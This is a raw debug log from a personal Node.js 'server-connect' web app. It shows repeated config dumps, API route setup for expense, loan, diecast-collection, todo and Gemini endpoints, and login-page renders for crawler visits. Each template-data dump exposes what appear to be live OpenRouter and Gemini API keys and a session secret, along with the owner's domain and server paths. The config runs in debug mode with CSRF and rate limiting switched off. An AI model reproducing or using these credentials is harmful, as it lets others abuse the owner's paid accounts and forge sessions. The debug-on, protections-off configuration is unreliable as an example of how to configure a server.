  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-15T13:04:46.374Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-15T13:04:47.238Z server-connect:setup:upload Upload middleware configured.
2026-06-15T13:04:47.238Z server-connect:secure CSRF Protection initialized
2026-06-15T13:04:47.242Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-15T13:04:47.245Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-15T13:04:47.246Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-15T13:04:47.252Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-15T13:04:47.253Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-15T13:04:47.258Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-15T13:04:47.272Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-15T13:04:47.284Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-15T13:04:47.289Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-15T13:04:47.292Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-15T13:04:47.293Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-15T13:04:47.297Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-15T13:04:47.302Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-15T13:04:47.311Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-15T13:04:47.318Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-15T13:04:47.390Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-15T13:04:47.392Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-15T13:04:47.395Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-15T13:04:47.402Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-15T13:04:47.406Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-15T13:04:47.408Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-15T13:04:47.417Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-15T13:04:47.417Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-15T13:04:47.424Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-15T13:04:47.424Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-15T13:04:47.430Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-15T13:04:47.430Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-15T13:04:47.433Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-15T13:04:47.439Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-15T13:04:47.442Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-15T13:04:47.442Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-15T13:04:47.446Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-15T13:04:47.450Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-15T13:04:47.450Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-15T13:04:47.456Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-15T13:04:47.461Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-15T13:04:47.463Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-15T13:04:47.472Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-15T13:04:47.960Z server-connect:router Serving templateView /
2026-06-15T13:04:47.962Z server-connect:app Executing action step identify
2026-06-15T13:04:47.963Z server-connect:app options: { provider: 'security' }
2026-06-15T13:04:47.965Z server-connect:auth No login cookie found
2026-06-15T13:04:47.965Z server-connect:output identity: false
2026-06-15T13:04:47.965Z server-connect:app Executing action step restrict
2026-06-15T13:04:47.965Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-15T13:04:47.969Z server-connect:output restrict: undefined
2026-06-15T13:04:48.010Z server-connect:router Serving templateView /login
2026-06-15T13:04:48.010Z server-connect:app Executing action step identify
2026-06-15T13:04:48.010Z server-connect:app options: { provider: 'security' }
2026-06-15T13:04:48.010Z server-connect:auth No login cookie found
2026-06-15T13:04:48.011Z server-connect:output identity: false
2026-06-15T13:04:48.011Z server-connect:router Render template layouts/authentication
2026-06-15T13:04:48.011Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.52.231.64',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-16T13:04:48.008Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.52.231.64',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.52.231.64',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-15T14:45:18.151Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-15T14:45:18.952Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-15T14:45:19.701Z server-connect:setup:upload Upload middleware configured.
2026-06-15T14:45:19.702Z server-connect:secure CSRF Protection initialized
2026-06-15T14:45:19.703Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-15T14:45:19.705Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-15T14:45:19.706Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-15T14:45:19.706Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-15T14:45:19.712Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-15T14:45:19.714Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-15T14:45:19.728Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-15T14:45:19.744Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-15T14:45:19.747Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-15T14:45:19.748Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-15T14:45:19.750Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-15T14:45:19.753Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-15T14:45:19.758Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-15T14:45:19.768Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-15T14:45:19.769Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-15T14:45:19.779Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-15T14:45:19.780Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-15T14:45:19.780Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-15T14:45:19.787Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-15T14:45:19.791Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-15T14:45:19.793Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-15T14:45:19.795Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-15T14:45:19.797Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-15T14:45:19.803Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-15T14:45:19.804Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-15T14:45:19.808Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-15T14:45:19.811Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-15T14:45:19.813Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-15T14:45:19.813Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-15T14:45:19.816Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-15T14:45:19.818Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-15T14:45:19.820Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-15T14:45:19.822Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-15T14:45:19.825Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-15T14:45:19.830Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-15T14:45:19.834Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-15T14:45:19.837Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-15T14:45:19.846Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-15T14:45:20.258Z server-connect:router Serving templateView /
2026-06-15T14:45:20.260Z server-connect:app Executing action step identify
2026-06-15T14:45:20.260Z server-connect:app options: { provider: 'security' }
2026-06-15T14:45:20.262Z server-connect:auth No login cookie found
2026-06-15T14:45:20.262Z server-connect:output identity: false
2026-06-15T14:45:20.262Z server-connect:app Executing action step restrict
2026-06-15T14:45:20.262Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-15T14:45:20.266Z server-connect:output restrict: undefined
2026-06-15T14:45:20.663Z server-connect:router Serving templateView /login
2026-06-15T14:45:20.664Z server-connect:app Executing action step identify
2026-06-15T14:45:20.664Z server-connect:app options: { provider: 'security' }
2026-06-15T14:45:20.664Z server-connect:auth No login cookie found
2026-06-15T14:45:20.664Z server-connect:output identity: false
2026-06-15T14:45:20.664Z server-connect:router Render template layouts/authentication
2026-06-15T14:45:20.665Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.44.58.53',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-16T14:45:20.662Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.44.58.53',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.44.58.53',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-15T18:24:14.660Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-15T18:24:16.834Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-15T18:24:17.330Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-15T18:24:17.502Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-15T18:24:17.695Z server-connect:setup:upload Upload middleware configured.
2026-06-15T18:24:17.695Z server-connect:secure CSRF Protection initialized
2026-06-15T18:24:17.699Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-15T18:24:17.701Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-15T18:24:17.704Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-15T18:24:17.705Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-15T18:24:17.714Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-15T18:24:17.715Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-15T18:24:17.729Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-15T18:24:17.741Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-15T18:24:17.746Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-15T18:24:17.748Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-15T18:24:17.751Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-15T18:24:17.753Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-15T18:24:17.759Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-15T18:24:17.769Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-15T18:24:17.773Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-15T18:24:17.844Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-15T18:24:17.845Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-15T18:24:17.848Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-15T18:24:17.855Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-15T18:24:17.860Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-15T18:24:17.860Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-15T18:24:17.868Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-15T18:24:17.871Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-15T18:24:17.877Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-15T18:24:17.879Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-15T18:24:17.884Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-15T18:24:17.884Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-15T18:24:17.887Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-15T18:24:17.892Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-15T18:24:17.895Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-15T18:24:17.898Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-15T18:24:17.901Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-15T18:24:17.904Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-15T18:24:17.907Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-15T18:24:17.912Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-15T18:24:17.916Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-15T18:24:17.919Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-15T18:24:17.928Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-15T18:24:18.416Z server-connect:router Serving templateView /
2026-06-15T18:24:18.418Z server-connect:app Executing action step identify
2026-06-15T18:24:18.418Z server-connect:app options: { provider: 'security' }
2026-06-15T18:24:18.420Z server-connect:auth No login cookie found
2026-06-15T18:24:18.420Z server-connect:output identity: false
2026-06-15T18:24:18.420Z server-connect:app Executing action step restrict
2026-06-15T18:24:18.420Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-15T18:24:18.424Z server-connect:output restrict: undefined
2026-06-15T18:24:18.554Z server-connect:router Serving templateView /login
2026-06-15T18:24:18.554Z server-connect:app Executing action step identify
2026-06-15T18:24:18.554Z server-connect:app options: { provider: 'security' }
2026-06-15T18:24:18.555Z server-connect:auth No login cookie found
2026-06-15T18:24:18.555Z server-connect:output identity: false
2026-06-15T18:24:18.555Z server-connect:router Render template layouts/authentication
2026-06-15T18:24:18.555Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.42.19.85',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-16T18:24:18.552Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.42.19.85',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.42.19.85',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-15T18:28:29.711Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-15T18:28:29.880Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-15T18:28:29.950Z server-connect:setup:upload Upload middleware configured.
2026-06-15T18:28:29.951Z server-connect:secure CSRF Protection initialized
2026-06-15T18:28:29.953Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-15T18:28:29.954Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-15T18:28:29.955Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-15T18:28:29.956Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-15T18:28:29.956Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-15T18:28:29.957Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-15T18:28:29.958Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-15T18:28:29.958Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-15T18:28:29.959Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-15T18:28:29.959Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-15T18:28:29.959Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-15T18:28:29.960Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-15T18:28:29.960Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-15T18:28:29.976Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-15T18:28:29.977Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-15T18:28:29.980Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-15T18:28:29.980Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
